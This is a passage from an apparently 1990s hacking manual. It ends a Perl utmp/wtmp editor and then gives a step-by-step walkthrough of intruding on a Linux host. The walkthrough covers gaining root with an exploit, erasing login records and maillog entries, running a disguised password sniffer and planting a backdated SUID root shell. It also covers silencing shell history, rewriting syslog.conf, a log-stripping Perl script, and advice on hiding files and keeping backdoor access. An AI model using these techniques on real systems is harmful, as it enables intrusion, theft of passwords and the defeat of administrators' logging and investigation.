    $oldpos = $_;
  }

  # Set any unspecified defaults.
  $cmdopt{"user"} = pack("a8", "")  if !defined($cmdopt{"user"});
  $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
  $cmdopt{"type"} = 7               if !defined($cmdopt{"type"});
  # Determine end of list insertion positions. (IE, dates entered are after
  # dates in wtmp file or line/id not found in utmp file.
  $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
  if (defined($datetime2)) {
    $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
    ++$epos2 if (defined($gmtime2) && !defined($npos1));
  }

  # Parse insert data and insert entry.
  $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
  $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
    if (defined($npos2) && defined($gmdate2));

  # Insert first entry.
  $cmdopt{"time"} = $gmdate;  
  @{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
           @{%cmdopt}{qw(type pid line id time user host addr)};

  if (defined($epos2)) {
    $cmdopt{"user"} = pack("a8", "");
    $cmdopt{"host"} = pack("a16","");
    $cmdopt{"id"}   = pack("a4", "");
    $cmdopt{"time"} = $gmdate2;
 
    @{$entries{$epos2}}{qw(type pid line id time user host addr)} =
             @{%cmdopt}{qw(type pid line id time user host addr)};
  }

  resync();
}


# LIST

sub list_func {
  my(@params) = @_;

  if (!push(@_) || ($params[0] eq "all")) {
    list_by_range("-");
    return 0;
  } elsif ($params[0] =~ /^host|user|id|line$/) {
    list_by_data(@_);
    return 0;
  } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
    list_by_range($params[0]);
    return 0;
  } elsif ($params[0] =~ m/^(\d+)$/) {
    list_by_range("$1-$1");
    return 0;
  }
                          
  print ("list :: Error in parameters. See \"help\" for syntax.\n");
  return undef;
}    


sub list_by_data {
  my($op, $data) = @_;
  my($count) = 0;

  foreach (sort( {$a <=> $b} keys(%entries))) {
    if (%{$entries{$_}}->{$op} =~ m/$data/i) {
      list_entry($_);
      ++$count;
    }
  }
  print "No $op entries matching $data.\n" if (!$count);
}


sub list_by_range {
  my($range)=shift;
  $range =~ m/(\d+)*-(\d+)*/;
  my($lo, $hi)=($1, $2);
  
  $lo = 0 if (!defined($lo));
  $hi = scalar(keys(%entries)) if (!defined($hi));
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (($_ >= $lo) && ($_ <= $hi)) {
      list_entry($_);
    }
  }
}               


sub list_entry {
  printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
  printf("  %s/%s", @{$entries{$_}}{qw(id line)});
  printf(": %s ", %{$entries{$_}}->{"user"})
    if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
  printf("from %s", %{$entries{$_}}->{"host"}) 
    if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
  if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
    printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
  }
  print ("\n");
  printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
    if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}

#  printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
#  now *that's* cool :-)
#  should be like this: @{$v}{qw(time id line user host)}
#  I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#


# READ


sub read_func {
  my($arg)=shift;
  
  $arg = $utmp_location if ($arg eq "utmp");
  $arg = $wtmp_location if ($arg eq "wtmp");
  $arg = $active_file if (!defined($arg));
  
  if ($arg !~ m!/*[uw]tmp[^/]*$!) {
    print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
    return undef;
  }
  
  readfile($arg);
}
   

# WRITE

sub write_func {
  my($file)=shift;
  my($count)=0;
  
  $file = $active_file if (!defined($file));
  if ($file !~ m!/*[uw]tmp[^/]*$!) {
    print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
    return undef;
  }
  if (!open(OUTFILE, ">$file")) {
    print ("write :: Can't open $file for output.\n");
    return undef;
  }
  binmode(OUTFILE);
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
      @{$entries{$_}}{qw(type pid line id time user host addr)}));
    $count++;
  }
  print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
  close(OUTFILE);
}               


# CHECK

sub check_func {
  if (push(@_)) {
    print "check :: Invalid options specified. Please see \"help\"\n";
    return undef;
  }
  if ($active_file !~ m!/*utmp[^/]*$!) {
    print "check :: Command can only be run on utmp files.\n";
    return undef;
  }
  
  # Build struct of ports containing port name, device num and owner.
  # Note: Test run in grepstr may *not* be portable for all Unix
  #       types. Be forewarned! This was designed for Linux.
  # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
  #       should return the same as what you expect in "struct utmp->ut_id".
  my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
  my(%ports) = {};
  my($user, $rdev) = ();

  opendir(DEVDIR, "/dev");
  my(@devfiles) = readdir(DEVDIR);
  @devfiles = grep(/$grepstr/, @devfiles);  
  close(DEVDIR);
  foreach (@devfiles) {
    /^$ttybase([$ttyrange][$ttyports])$/;
    if (!defined($1)) {
      print "check :: Warning! Could not extract port ID from $_.\n";
    } else {
      ($user, $rdev) = (stat("/dev/$_"))[4, 6];
      $user = getpwuid($user);
      $ports{$1} = newport($_, $rdev, $user);
    } 
  }
  
  # Check ownership of /dev ports.
  my(@logdev)=();
  foreach (sort(keys(%ports))) {
    push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
  }
  @logdev = sort(@logdev);
      
  # Check utmp (against ports detected as logged in);
  my(@logutmp)=();
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
        defined(%{$entries{$_}}->{"id"})   && defined(%{$entries{$_}}->{"pid"})) {
      push(@logutmp, %{$entries{$_}}->{"id"})  
        if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
            ((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
            ((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
             (%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
             (%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
             (%{$entries{$_}}->{"pid"} > 0))));
    }
  }
  @logutmp = sort(@logutmp);

  # Check PIDs (find processes with active port ids)
  opendir(PIDDIR, "/proc");
  my(%processes) = {};
  my(@portprocesses) = ();
  foreach (grep(/\d+/, readdir(PIDDIR))) {
    local($procdata, $cmdline);
    open(PROCFILE, ";
    close(PROCFILE);
    if (-e "/proc/$_/stat") {
      local($cmdline, $devnum, $portid);
      ($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
      # Remove surrouding () from command name.
      $cmd =~ s/[\(\)]//g;
      $portid = dev2id(\%ports, $devnum);
      if (defined($portid)) {
        push(@portprocesses, $portid)
          if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
        $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
      }
    }
  }
  close(PIDDIR);

  # A port is *not* logged in if there is no dev entry for port, no utmp entry
  # and no active processes.
  my(@validshellports) = ();
  foreach (sort( { $a <=> $b} keys(%processes))) {
    push(@validshellports, %{$processes{$_}}->{"port"}) 
      if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
          !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
  }
  # Remove ports with valid shells from list of ports with active processes.
  my(@noshellports) = 
    sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
  @validshellports = sort(@validshellports);
  print "Ports with active /dev files: @logdev\n"
    if (defined(@logdev));
  print "Ports with utmp entries: @logutmp\n"
    if (defined(@logutmp));
  print "Ports with valid shells: @validshellports\n" 
    if (defined(@validshellports));
  print "Ports with active processes and *no* shells: @noshellports\n" 
    if (defined(@noshellports));
}  
  
    
# GENERAL

sub readfile {
  local($file);
  $file = shift;
  my($index)=1;
  my($buffer)="";

  # Insure we have a clean hash table before we start reading in the file.
  foreach (keys(%entries)) {
    undef(%{$entries{$_}});
    delete(${entries{$_}});
  }
    
  open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
  binmode(UTMPFILE);
  # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).  
  while (read(UTMPFILE, $buffer, 56)) {
    $entries{$index++} = newutmp($buffer);
  }
  $active_file = $file;
  print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
  close(UTMPFILE);
}


sub newutmp {
  my($newbuff) = shift;
  my($longaddr) = 0;
  
  $newnode = bless { 
    "type" => undef, "pid" => undef,  "line" => undef, "id"   => undef,
    "time" => undef, "user" => undef, "host" => undef, "addr" => undef
  }, 'UTMPNODE';
  
  @{$newnode}{qw(type pid line id time user host addr)}=
    unpack("i L a12 a4 L a8 a16 a4", $newbuff);
                             
  return $newnode;
}  


sub newport {
 
  $newnode = bless {
    "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
  }, 'PORTNODE';
  
  @{$newnode}{qw(port rdev owner)} = @_;
  
  return $newnode;
}


sub newproc {
 
  $newnode = bless {
    "cmd" => undef, "port" => undef, 
  }, 'PROCNODE';
  
  @{$newnode}{qw(cmd port)} = @_;
  
  return $newnode;
}


# Renumber hashes to default order.
sub resync {
  my(%newhash) = ();
  my($count)=0;

  # Write ordered list in to temporary hash, deleting as we go.
  foreach (sort( {$a <=> $b} keys(%entries))) {
    $newhash{++$count} = $entries{$_};
    delete($entries{$_});
  }

  # Copy elements back in to original hash table.
  foreach (sort( {$a <=> $b} keys(%newhash))) {
    $entries{$_} = $newhash{$_};
  }
}


sub longtodot4 {
  my($addr)=shift;

  return join(".", map( ord($_), split(//, $addr)));
}

sub dev2id {
  my($portlist, $rdev) = @_;

  foreach (sort(keys(%{$portlist}))) {
    return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
  }                               
  return undef;
}


sub listpos {
  my($arrayref, $search) = @_;
  my($count) = 0;

$^W = 0;
  foreach (@{$arrayref}) {
    return $count if ($search eq ${$arrayref}[$count]);
    $count++;
  }
$^W = 1;

  return undef;
}


### DATE ROUTINES

# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.


sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
  my($datetime) = shift;
  my($m,$d,$y,$h,$mn,$s) = ();

  # If date is not defined, then return local current date and time.
  return time() if (!defined($datetime));

  $datetime =~ 
    s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
  ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
  $m--;

  # Finalize time components and check them.
  $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); 

  # This checks for any *non-matched* portion of $datetime. If there is such
  # an animal, then there is illegal data specified. Also screens for undefined
  # components which HAVE to be in ANY valid date/time (ie, month, day, year).
  return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));

  # Set time components with unspecified values.
  $s = 0 if (!defined($s));
  $mn = 0 if (!defined($mn));
  $h = 0 if (!defined($h));

  # Check for ranges.
  return undef if (($m > 11)    || ($h > 23)    || ($mn > 59)   || ($s > 59));
                     
  # Begin conversion to seconds since 1/1/70.
  my($sec_now,$sec_70)=();
  $sec_now=DaysSince999($m,$d,$y);
  return undef if (!defined($sec_now));

  $sec_now--;
  $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
  $sec_70 =30610224000;
  return ($sec_now-$sec_70);
}


sub DaysSince999 {
  my($m,$d,$y)=@_;
  my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
  my($cc,$yy)=();

  $y=~ /^(\d{2})(\d{2})$/;
  ($cc,$yy)=($1,$2);

  # Number of full years since Dec 31, 0999
  $Ny=$y-1000;

  # Number of full 4th years (incl. 1000) since Dec 31, 0999
  $N4=int(($Ny-1)/4)+1;
  $N4=0         if ($y==1000);

  # Number of full 100th years (incl. 1000)
  $N100=$cc-9;
  $N100--       if ($yy==0);

  # Number of full 400th years
  $N400=int(($N100+1)/4);

  # Check to insure that information returns a valid day of year.
  $dayofyear=dayofyear($m,$d,$y);
  return undef if (!defined($dayofyear));

  # Compute day of year.
  $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;

  return $days;
}


sub dayofyear {
  my($m,$d,$y)=@_;
  my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
  my($daynum,$i)=();
  $daysinmonth[1]=29  if (!($y % 4));

  # Return error if we are given an invalid date.
  return undef if ($d > $daysinmonth[$m]);

  $daynum=0;
  for ($i=1; $i<$m; $i++) {
    $daynum += $daysinmonth[$i];
  }
  $daynum += $d;
  
  return $daynum;
}


## END DATE ROUTINES.
      
# End of script.

0;

--------------------- end of utmpman.pl

-------------------------
Chapter VI
Cleaning the log files
-------------------------

------------------------------
Section 6A
A walk around a hacked system
-------------------------------

I can't stress the importance of this enough! Clean, Clean!!!!  In this section
I will take you on the system first hand and show you some basics on what to
look for, and on how to wipe your presence from the system.  To start this lets
logon a system:

Here is the step by step through the basic process:

******----> see who is on the machine

[/home/master]finger @victim.net
[victim.net]
No one logged on.

******----> good no one on, we will log on

[/home/master]telnet victim.net

Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on a i586


ns.victim.net login: jnsmith
Password:
Linux 1.2.13.
You have new mail.

******----> Don't read his mail, you can cat all mail in /var/spool/mail
            and in each users /home/username/mail directory

******----> Check again to see if anyone is on

[jnsmith@ns jnsmith]$ w

5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what
jnsmith   ttyp1     5:35am                      w

******----> Just me, lets get root and get lost in the utmp!

[jnsmith@ns jnsmith]$ cd .term

******----> Nice directory to hide stuff ;)

[jnsmith@ns .term]$ ./.u

******----> I had this already waiting, it was the umounc.c exploit

Discovered and Coded by Bloodmask and Vio, Covin 1996

******----> We are now root, lets use z2 to become invisible

bash# z2 jnsmith
Zap2!

******----> Let's see if we are still on ...

bash# w
5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
User     tty       login@  idle   JCPU   PCPU  what

******----> Hmm. now there is no one on the system, i must have logged off ;)


******----> We know we are root, but lets check you you can see ...

bash# whoami
root
bash#

******----> Yup, root ..  What directory are we in?

bash# pwd
/home/jnsmith/.term

******----> Let's check the logs

bash# cd /var/log

******----> most of the time in /var/adm, this box uses /var/log

bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

******----> Yup, the z2 took care of everything but this maillog ...

bash# pico maillog

******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
            delete lines


******----> These were the lines deleted

Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *

******----> Yup .. all clear ;)

bash# w
5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what

******----> Yup .. all clear here too ;)

******----> Lets show you how you would use lled and wted if the grep would
            have shown something in those files

bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Now chmod lastlog.tmp and copy over the original /var/log/lastlog

******----> Nothing in the lastlog

bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp

******----> Nothing in the wtmp, both of these would have shown in the grep
            we just did in the /var/log (just showing you the commands)

******----> Lets do some sniffing ...

bash# pico linsniffer.c

******----> I changed this line to tell where i want the log to go:

#define TCPLOG "/tmp/.pinetemp.000"

******----> lets look at what is running to think of a name that
            looks almost like it belongs there

bash# ps -aux

root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd

******----> lets compile it and name it nmb

bash# gcc linsniffer.c -o nmb

******----> lets load it ...

bash# nmb&
[1] 22171

******----> lets check the log file in /tmp

bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000

******----> There it is, but we don't want our login to know about it!

bash# chgrp root .pin*

******----> Lets look now ....

bash# ls -al .pin*
-rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
bash#

******----> This is good, Lets make an SUID shell so we don't have to
            do this again.  (check for MD5 or other programs in the cron)

bash# cd /bin
bash# ls -l sh
lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash

******----> This is a sym link ...

bash# ls -l bash
-rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash

******----> here is the real file ... lets see what to name it that
            looks like it belongs

bash# ls
arch           df             ksh            ping           tar
ash            dmesg          ln             ps             tcsh
bash           dnsdomainname  login          pwd            true
cat            domainname     ls             red            ttysnoops
chgrp          echo           mail           rm             umount
chmod          ed             mkdir          rmdir          uname
chown          false          mknod          sed            vi
cp             findterm       more           setserial      view
cpio           gunzip         mount          sh             vim
csh            gzip           mt             stty           zcat
date           hostname       mv             su             zsh
dd             kill           netstat        sync

******----> How about a new command in linux, most admin's won't know
            the difference ;)  We will call it findhost

bash# cp bash findhost

******----> ok, now lets have a look at our new unix command ...

bash# ls -l findhost
-rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost

******----> We need to change the group owner, touch the file date,
            and make it SUID

bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost

bash# ls -l m*
-rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
-rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
-rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
-rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
-rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
-rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
-rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv

******----> Now it looks like it belongs ... lets see if
            it gives us root, exit our current root shell..

bash# exit

[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root

[jnsmith@ns /bin]# cd

******----> cd {enter} takes us back to our home dir

[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
-rw-rw-r--   1 root      root            4 Jan 29 06:11 test

******----> See now we are uid=0 gid=0

[jnsmith@ns jnsmith]# rm test

******----> clean as we go .....

[jnsmith@ns jnsmith]# w
6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
User     tty       login@  idle   JCPU   PCPU  what

******----> Just making sure we are still alone ....

[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000

******----> were getting passwords already ;)

[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
-rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
-rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
-rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
-rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
-rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#

******----> Make sure you place this sys link .bash_history to /dev/null so
            you do not leave a history behind...

This is the command to do it, but make sure you delete the old .bash_history
if it is there.

ln -s /dev/null .bash_history

Ok logout ...

Ok, there is another way!!!!!!

If you can remember and make it a practice that you NEVER forget, get used to
this.... EVERY TIME you login to an account type: unset HISTFILE

This will tell the system to delete your history file when you logoff the
system...   USE THIS!  Get into the practice!  DON'T FORGET!

-----------
Section 6B
messages and syslog
-----------

In the log directory you will find a file called 'messages' each system is
different as far as what is logged to what files or what file name.  Make
sure to check in the /etc/syslog.conf file for additional logging to
remote machines.  If this is being done you will see something like this:

*.*                                 @somehostname.xxx

Or just to check and see where the log files are going you can view this file
/etc/syslog.conf.

Here is a sample...

bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#

*.=info;*.=notice                               /var/adm/messages
*.=debug                                        /var/adm/debug
*.warn                                          /var/adm/syslog
*.warn                                          /root/.../syslog
*.=crit;kern.none                               /var/adm/critical
kern.info;kern.!err                             /var/adm/kernel-info
mail.*;mail.!=info                              /root/.../mail
mail,news.=info                                 /root/.../info
mail.*;mail.!=info                              /var/adm/mail
mail,news.=info                                 /var/adm/info
*.alert                                         root,bob
*.=info;*.=notice                               @quality.com
*.=debug                                        @quality.com
*.warn                                          @quality.com
*.=crit;kern.none                               @quality.com
kern.info;kern.!err                             @quality.com
mail.*;mail.!=info                              @quality.com
mail,news.=info                                 @quality.com

Here some of the logs are going into a hidden directory in the /root directory
and a copy of every alert and warning are being also sent to the logs at
quality.com.  wtmp, utmp and lastlog are still local, so you can still be
ok, just make sure not to use 'su' on a system like this.  Also notice above
that alert messages are being mailed to root and bob on this system.

Also take note that syslog, mail, and, info are being sent to the /var/adm
directory to fool you into thinking all of the logs are in /var/adm!  If you
edit /var/adm the admin can run a diff on the backup files in the /root dir.

Ok, so you go to the /var/adm or /var/log directory and:

grep yourhost * |more
grep your ip * |more

you see that some files are logging your connection, mark down what files
are logging you and edit the /etc/syslog.conf file.  You will from trial
and error in most cases make it skip the logging process of your domain.

BUT, make sure to do a few things.  After you edit the file restart the
syslogd.  You can do this by doing a ps -x

$root> ps -x

39  ?  S    1:29 /usr/sbin/syslogd

find the syslogd and notice the process id here is 39, so you do:

kill -HUP 39

This will restart the process and put your changes into effect.

The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
edit it and touch the file date back to the original date and time after
you edit it.  This way if they notice the logging looks different, they
will check the file date and think it must be something else.  Most admins
would not know how to setup this file in the first place, so you in some
(or most) cases ok to edit it.

Here is another file to look at.

/etc/login.defs

# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB          yes
SYSLOG_SG_ENAB          yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE      /home/users/bob/.list

Notice here that there is an su log file in a hidden file in one of
the admin's directories.

-----------
Section 6C
xferlog
-----------

The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
you can then search for your transfers and delete the lines and save the file.
You will need to do this after transferring any files.

You will also want to grep the files in the /usr/local/etc/httpd/log directory
if you have used the web or phf on the system to remove your presence
from there.

grep (username or hostname) * |more

If you need to find the logs for httpd you can do a find -name httpd.conf
-print and view the config file you see where the httpd logs are going.

There might be different ftp logs for transfers in some ftp or virtual ftp
directory some where.  View the files in the /etc/ftp* to find what the ftp
setup is on the box.

Here I have shown you to edit log files using pico, joe, or other editors.

There is another way... Sometimes log files might be real large and the editor just might
not cut it ;)  Here is what to do...

You have a messages file 20 meg ... wow!

If you want to get the lines that have fudge.candy.com out of this file you
might want to do this:

grep -v fudge.candy >messages.2
rm messages
mv messages2 messages

then kill -HUP 

-v means grep everything that does not match the line, so you are greping
the file -what you do not want to a new file name messages.2.  Check the
file size after the grep to make sure no errors were made and replace the
old one with the new one and restart syslogd.

This can also be used with other logs like xferlog, syslog, etc...

Here is a perl script that will do it for you from command line.

------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any 
#           lines MATCHING regular expression will *not* be printed to 
#           STDOUT. 
# 
#

die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];

# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
  # Use STDIN.
  $contents = scalar ;
} else {
  # Use FILE.
  open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
  $contents = scalar ;
  close(FILE);
}

@contents = split(/\n/, $contents);

# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
foreach (@contents) {
  print FILE "$_\n" unless (/$regexp/i);
}
close(FILE);

0;

------------------------ end of riptext.pl

Remember to restart syslogd after you edit files, true you will not see
the stuff, and it will be gone to your eyes, but if you do not restart the
process, the data is still in memory and can be retrieved until you restart
the process!

Also look for notes in the syslog that the syslogd process was restarted at
such and such a time.

---------------
Section 6D
The cron table
---------------

Make sure to look at admin's and root cron files, here in this system we find
a root cron file in: /var/spool/cron/crontabs
bash# ls -l
total 1
-rw-------   1 root     root          851 Jan 26 14:14 root

bash$ more root
# This updates the database for 'locate' every day:
40 07 * * *       updatedb 1> /dev/null 2> /dev/null
40 */12 * * *       /sbin/checkfs

there is a file running here in /sbin called checkfs.

bash$ cd /sbin
bash$ /sbin # more checkfs
#!/bin/bash

if [ ! -f /etc/default/fs/.check ]; then
  echo WARNING!! Filecheck default file cannot be found. Please regenerate.
    exit
    fi

md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /lib/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1

if [ -s /tmp/filecheck2 ]; then
  mail -s FSCheck bin < /tmp/filecheck2
  fi

rm /tmp/filecheck /tmp/filecheck2 2>/dev/null

md5 is a checksum file, if you change or add a binary file to any of the
above directories the information of the changes will be mailed to the
admin.

------------------------------
Chapter 7
Keeping access to the machine
------------------------------

There are many ways to keep access to the machine, you will loose
access to many as you as you are learning, but I hope with this manual
and some experience you will become a stable hacker.

Section 7A
Tricks of the trade

Here are some 'tricks' of the trade that will help you keep access
to the machine.  After a system admin has found you out, they will be watching
for you and going through everything on the system.  They will go as far as
recompiling binary files, changing everyone's passwords, denying your host you
came in from to the machine, going through the passwd or shadow file, looking
for SUID files, etc....

When you see that you have been found out, do not try to get access to the
system again.  I have seen others right after being cought, try everyone of
their trojans, other accounts, and other backdoor's they placed for continued
access.  Well think about it, they are watching for you ... you are showing
them every in that you have to the system, and every exploitable file you
are making known to them.

NO!  WAIT!  Give it a few months, they will think everything is ok, and they
will relax and you can come in with one of the backdoor's they missed, and you
can do your thing on the logs for all of the attempts you made on the system
to get back in.

Ok here are some tricks of the trade.

History Files:
--------------
Always put your .bash_history to /dev/null, if you don't make sure you at least
edit it.  Remember the .bash_history will always have your last commands until
the logoff.  So if you edit it, it will show that you are editing it. You might
try changing your shell and editing it there, but this all seems like a pain,
just set it to /dev/null

1. Delete the file in the user directory .bash_history if it there.
2. Type this command in the home directory: ln -s /dev/null .bash_history

Nested directory:
-----------------
Always find a directory on the system to hide your files.  There are a few good
ones that most users never look into.

In the users home directory look for .term, all you will find in this directory
